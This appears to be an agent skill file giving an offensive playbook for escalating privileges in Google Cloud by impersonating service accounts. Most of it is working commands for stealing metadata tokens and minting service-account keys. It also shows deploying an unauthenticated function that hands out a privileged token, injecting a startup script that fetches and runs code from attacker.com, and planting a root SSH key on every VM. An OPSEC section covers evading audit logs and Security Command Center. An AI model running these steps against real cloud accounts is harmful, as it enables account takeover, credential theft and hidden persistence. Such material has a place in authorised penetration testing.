| name | gcp-svc-account-impersonation |
| description | GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"gcp google cloud service account impersonation token creator actAs roles/iam compute cloud functions cloud run workload identity","subdomain":"cloud","tags":"gcp, iam, service-account, privilege-escalation","mitre_attack":"T1078.004, T1098, T1550.001"} |
GCP Service Account Impersonation
You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.
Steal the token
From GCE / GKE / Cloud Run / Functions
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r .access_token)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
From a leaked key.json
gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)
Phase 1: Enumerate current permissions
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
--permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'
Phase 2: Impersonation primitives
roles/iam.serviceAccountTokenCreator
If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:
gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
| jq -r .accessToken
iam.serviceAccountKeys.create
Mint a permanent JSON key for any SA you can act-on:
gcloud iam service-accounts keys create /tmp/k.json \
--iam-account=target@PROJECT.iam.gserviceaccount.com
cloudfunctions.functions.update + actAs
Deploy a function that runs AS a more-priv SA:
mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
import subprocess
out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
--service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
compute.instances.setMetadata
Inject a startup-script that runs as the VM's SA on next boot:
gcloud compute instances add-metadata target-vm --zone=us-central1-a \
--metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a
compute.projects.setCommonInstanceMetadata
Project-wide metadata = SSH key on every VM in the project:
ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"
Phase 3: Cross-project pivot
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .
for p in $(gcloud projects list --format='value(projectId)'); do
echo "=== $p ==="
gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done
OPSEC
- Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
- Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
- Key creation creates a Cloud Audit
google.iam.admin.v1.CreateServiceAccountKey event — high-fidelity detection.
- GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.
References
- gcp_enum / GCP IAM Privilege Escalation by RhinoSecurityLabs
- "Big GCP IAM Privilege Escalation List" — Praetorian
- DEFCON 27 "Privilege Escalation in GCP" — Spencer Gietzen